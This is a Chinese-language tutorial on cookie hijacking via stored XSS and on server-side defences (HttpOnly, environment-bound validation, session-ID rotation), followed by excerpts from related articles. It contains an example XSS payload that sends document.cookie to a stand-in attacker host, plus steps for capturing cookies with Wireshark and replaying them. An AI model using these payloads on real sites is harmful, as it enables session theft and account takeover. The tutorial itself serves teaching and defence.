Web安全之Cookie劫持

  1. Cookie是什么?

  2. 窃取的原理是什么?

  3. 系统如何防Cookie劫持呢?

  看完这三个回答, 你就明白哪位传奇大侠是如何成功的!!!

  Cookie:

  HTTP天然是无状态的协议, 为了维持和跟踪用户的状态, 引入了Cookie和Session. Cookie包含了浏览器客户端的用户凭证, 相对较小. Session则维护在服务器, 用于维护相对较大的用户信息.

  用通俗的语言, Cookie是钥匙, Session是锁芯.

  Cookie简单理解就是钥匙, 每次去服务端获取资源, 需要带着这把钥匙, 只有自己的锁芯(资源), 才能打开.

  如果你丢掉了钥匙, 那没办法, 只能配一把钥匙和锁芯.

  但是如果钥匙被别人拿了, 那别人就可以冒充你的身份, 去打开你的锁芯, 从而获取你的信息, 甚至挪用你的资金. 这是非常危险的.

  XSS攻击:

  XSS(Cross Site Scripting)是跨站点脚本攻击的缩写. 其就是利用站点开放的文本编辑并发布的功能, 从而造成攻击.

  其实说的简单一点, 就是输入javascript脚本, 窃取并投递cookie信息到自己的站点.

  比如攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:

<a href=# onclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape\(document.cookie\)\;\”>快看, 这里有美女在洗澡</a>

攻击者提交了条带<a>标签的数据,该条数据保存于服务器端,而管理员登入时,不小心点击这个链接时,则会把自身的cookie信息, 投递给hacker设定的网址.

http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz

  有了该session-id,攻击者在会话有效期内即可获得管理员的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。

  Cookie劫持的防:

  基于XSS攻击, 窃取Cookie信息, 并冒充他人身份.

  服务端如何防呢?

  第一种办法是:

  给Cookie添加HttpOnly属性, 这种属性设置后, 只能在http请求中传递, 在脚本中,document.cookie无法获取到该Cookie值. 对XSS的攻击, 有一定的防御值. 但是对网络拦截, 还是泄露了.

  第二种办法:

  在cookie中添加校验信息, 这个校验信息和当前用户外置环境有些关系,比如ip,user agent等有关.这样当cookie被人劫持了, 并冒用, 但是在服务器端校验的时候, 发现校验值发生了变化, 因此要求重新登录, 这样也是种很好的思路, 去规避cookie劫持.

  第三种办法:

  cookie中session id的定时更换, 让session id按一定频率变换, 同时对用户而言, 该操作是透明的, 这样保证了服务体验的一致性.

http://www.admin10000.com/document/9210.html

时间: 2024-10-12 03:16:40

Web安全之Cookie劫持的相关文章

CDSSO Cookie劫持问题

CDSSO Cookie劫持问题  当cookie设置到整个域,如“.example.com”,攻击者获得cookie后,可以从这个域的任何主机使用它,如untrusted.example.com.Cookie劫持保护限制cookie到其签发的主机FQDN名称,如am-server.example.com和server-with-agent.example.com,使用CDSSO处理认证和授权. 如果CDSSO设置了cookie劫持保护,当客户端成功认证后,AM服务签发主SSOToken coo

Web如何使用cookie,MVC如何使用cookie

Cookie是在Web上用于存储客户系统信息的对象.所有的信息都以每行一个Cookie的形式存放在客户端的一个名为cookies.txt的文件里. Cookie在HTTP头标(客户和服务器用来标识自身的分组)中在客户机与服务器之间传输.Cookie由某个WWW网页在某客户机上进行设置. 比如,某个WWW网页已在一个用户的计算机上设置了一个Cookie,其中存储的信息是该用户的身份号(随机赋予该用户的唯一标识), 当该用户的浏览器连接该WWW站点时,站点要求浏览器将Cookie送回,他的身份号就通

好程序员web前端分享Cookie知识

好程序员web前端分享Cookie知识,今天小编为大家带来了一篇新手必看干货,接下来让我们一起来看一看吧. 一.Cookie的出现 浏览器和服务器之间的通信少不了HTTP协议,但是因为HTTP协议是无状态的,所以服务器并不知道上一次浏览器做了什么样的操作,这样严重阻碍了交互式Web 应用程序的实现. 针对上述的问题,网景公司的程序员创造了Cookie. 二.Cookie的传输 服务器端在实现Cookie标准的过程中,需要对任意HTTP请求发送Set-Cookie HTTP头作为响应的一部分: 1

【计算机网络学习笔记】什么是cookie以及cookie劫持的基本概念

谨为今后学习参考的笔记.内容来自互联网. Cookie的基本概念: Cookie是由服务器端生成,发送给User-Agent(一般是浏览器),浏览器会将Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器(前提是浏览器设置为启用cookie).Cookie名称和值可以由服务器端开发自己定义,对于JSP而言也可以直接写入jsessionid,这样服务器可以知道该用户是否合法用户以及是否需要重新登录等,服务器可以设置或读取Cookies中包含信

通过Wireshark抓包进行Cookie劫持

首先在目标A机器上运行Wireshark并开启浏览器,开启前关闭其他占用网络的软件,这里我拿51CTO.com做测试. 正常登陆51CTO用户中心,此时使用 http.cookie and http.request.method==POST 语法对Wireshark捕获的数据包进行过滤. 如图所示,展开Hypertext Transfer Protocol项查看捕获到的Cookie信息并将其复制为纯文本. 下面登陆B机器,使用Firefox或Chrome插件对捕获到的Cookie信息进行利用.

记录一些有关web安全以及cookie、session的文章

session和cookie的区别和联系:http://www.cnblogs.com/endlessdream/p/4699273.html HTTP是无状态的协议,那么客户端与服务端的数据一旦交互完毕,客户端与服务器端的链接也就会关闭了,当再次交换数据的时候就需要建立新的链接,也就是服务器无法从链接上跟踪会话: 会话跟踪:是web程序中常用的技术,用来跟踪用户的整个会话的,常用的会话跟踪技术是Cookie和Session.Cookie通过在客户端记录信息确定用户身份后,Session通过在服

Web如何应对流量劫持?

虽然互联网经过多年的发展,可是网站使用的底层协议仍是 HTTP,HTTP 作为一种明文传播协议,所有的传输数据都是明文,我们都知道在通信中使用明文(不加密) 内容可能会被窃听,同时网站存在被劫持的风险. 上篇<网站莫名跳转,从百度谈什么是网站劫持?>中我们讲到了搜索引擎劫持.网络劫持.浏览器劫持.路由器劫持等常见的网站劫持,面对多种方式的网站劫持,我们应该如何应对? 限制网站权限 部分网站遭遇劫持主要由于非法服务器获取了 Web 网站文件及文件夹的读写权限,针对这个问题,我们可以利用服务器的安

Web Storage和cookie的区别

1)  存储空间不同. a)  Web Storage能提供5MB的存储空间(不同浏览器的提供的空间不同).Cookie仅4KB. b)  Web Storage每个域(包括子域)有独立的存储空间,各个存储空间是完全独立的,因此不会造成数据混乱. 2)  与服务器交互. Web Storage中的数据则仅仅是存在本地,不会与服务器发生任何交互. Cookie的内容会随着请求一并发送的服务器(带宽浪费). 3)  接口. Web Storage提供更多丰富易用的接口,拥有setItem,getIt

WEB中的cookie

首先来一篇好文章,刚好看到的: 沉默中的狂怒 —— Cookie 大喷发---------------- http://www.cnblogs.com/index-html/p/mitm-cookie-sniffer.html#3050493 我就重复一遍啦: 在chrome或者firefox下登陆下163的邮箱: 在控制台执行js: new Image().src = "http://push.webmail.mail.163.com"; 在控制台可以看到发送的的请求的Request